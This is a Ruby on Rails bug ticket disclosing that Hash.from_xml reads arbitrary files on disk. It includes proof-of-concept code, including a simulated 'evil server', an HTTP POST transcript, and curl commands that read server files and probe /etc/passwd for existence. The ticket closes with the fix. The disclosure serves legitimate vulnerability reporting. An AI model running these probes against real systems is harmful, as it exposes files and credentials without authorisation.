Ruby on Rails | Screencasts | Download | Documentation | Weblog | Community | Source

Ticket #8453 (closed defect: fixed)

Opened 3 years ago

Last modified 3 years ago

Security hole: Hash.from_xml reads arbitary files on disk

Reported by: candlerb Assigned to: core
Priority: normal Milestone: 1.2.4
Component: ActiveSupport Version: edge
Severity: major Keywords: xml_in
Cc:

Description

ActiveResource parses received responses from the server using Hash.from_xml. (Quite possibly ActionPack parses incoming XML requests this way too - I've not checked this)

However, Hash.from_xml is not safe to use with data from untrusted sources, because if you give it something which looks like a filename, it opens it. This behaviour is inherited from XML::Simple.

>> Hash.from_xml("/var/lib/scrollkeeper/en_GB/scrollkeeper_cl.xml")
=> {"ScrollKeeperContentsList"=>{"sect"=>[{"categorycode"=>"Applications",
... snip rest

Fortunately, it tests for regular files and so won't access special device nodes:

>> Hash.from_xml("/dev/null")
ArgumentError: File does not exist: /dev/null.
        from /usr/lib/ruby/gems/1.8/gems/activesupport-1.4.2/lib/active_support/vendor/xml_simple.rb:977:in `find_xml_file'
...

And it's not very exploitable for files which are not well-formed XML:

>> Hash.from_xml("/etc/passwd")
NoMethodError: You have a nil object when you didn't expect it!
You might have expected an instance of ActiveRecord::Base.
The error occurred while evaluating nil.attributes
...

So this property appears only useful if you know the name of an XML file which already exists on the target machine. However a number of files fall into this category, e.g. 'gaim' uses an XML config file in a well-known location to store a user's passwords to access MSN servers.

Also, if an attacker can trigger accesses to arbitary files, the returned exception might give information on files which do or do not exist on the server.

Change History

05/24/07 18:56:56 changed by josh

I tried the exploit from the front end and can't seem to get it to work.

curl -d "/path/to/xml" "http://localhost:3000/users.xml"

You receive a proper xml errors response.

05/27/07 14:26:20 changed by candlerb

I did say I'd only tested with ActiveResource.

Here's how to replicate the problem. The following code simulates an evil server:

# srv.rb
require 'webrick'
include WEBrick

s = HTTPServer.new( :Port => 9999 )

s.mount_proc("/"){|req, res|
  res.body = "/var/lib/scrollkeeper/en_GB/scrollkeeper_cl.xml"
  res['Content-Type'] = "text/xml"
}

trap("INT"){ s.shutdown }
s.start

And here is an ActiveResource client which makes a request to this server.

# cli.rb
require "active_resource"
class Foo < ActiveResource::Base; end
Foo.site = "http://localhost:9999/"

res = Foo.find(1)
p res

You'll find that 'res' contains a file on the client's filesystem, i.e. the evil server has forced the client to read an arbitary file on the client's own filesystem which it did not intend to.

(To demonstrate this properly, the filename returned by the evil server should point to an XML file which exists on the client. The filename I gave is just a convenient one which happens to exist on my Ubuntu system.)

05/27/07 14:57:09 changed by candlerb

I've now tested this, and Rails (1.2.3) is vulnerable as well. To demonstrate, here is a test Rails application which accepts XML POST and just responds with whatever it thinks it received:

# app/controllers/bugs_controller.rb
class BugsController < ApplicationController
  # POST /bugs.xml
  def create
    render :text => params.inspect
  end
end

(remember to add "map.resources :bugs" to config/routes.rb)

And here's what happens if you post a filename to it, as if it were XML:

$ telnet localhost 3000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
POST /bugs.xml HTTP/1.1
Host: localhost:3000
Connection: close
Accept: */*
Content-Type: application/xml
Content-Length: 47

/var/lib/scrollkeeper/en_GB/scrollkeeper_cl.xml
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Sun, 27 May 2007 14:46:22 GMT
Content-Type: text/html; charset=utf-8
Server: WEBrick/1.3.1 (Ruby/1.8.4/2005-12-24)
Content-Length: 18471
Set-Cookie: _xmlbug_session_id=709c41864651ef8b49f084e33205c66c; path=/

{"ScrollKeeperContentsList"=>{"sect"=>[{"categorycode"=>"Applications", "title"=
>"Applications", "sect"=>[{"categorycode"=>"ApplicationsAmusement", "title"=>"Am
...

This also works with curl, but you have to set a Content-Type: application/xml header using -H.

$ curl -H "Content-Type: application/xml" -d "/var/lib/scrollkeeper/en_GB/scrollkeeper_cl.xml" "http://localhost:3000/bugs.xml"
... contents of file on server are returned

You can very easily probe files which do or do not exist on the server, because these return different exceptions:

curl -H "Content-Type: application/xml" -d "/etc/passwd" "http://localhost:3000/bugs.xml"
# "You have a nil object when you didn't expect it!"

curl -H "Content-Type: application/xml" -d "/etc/passwd2" "http://localhost:3000/bugs.xml"
# "File does not exist: /etc/passwd2."

06/23/07 00:25:36 changed by bitsweat

  • keywords set to xml_in.
  • milestone changed from 1.x to 1.2.4.

06/23/07 00:40:57 changed by bitsweat

  • status changed from new to closed.
  • resolution set to fixed.

(In [7086]) Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin. Closes #8453.

06/23/07 00:43:14 changed by bitsweat

(In [7087]) Merge [7086] to stable: demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin. References #8453.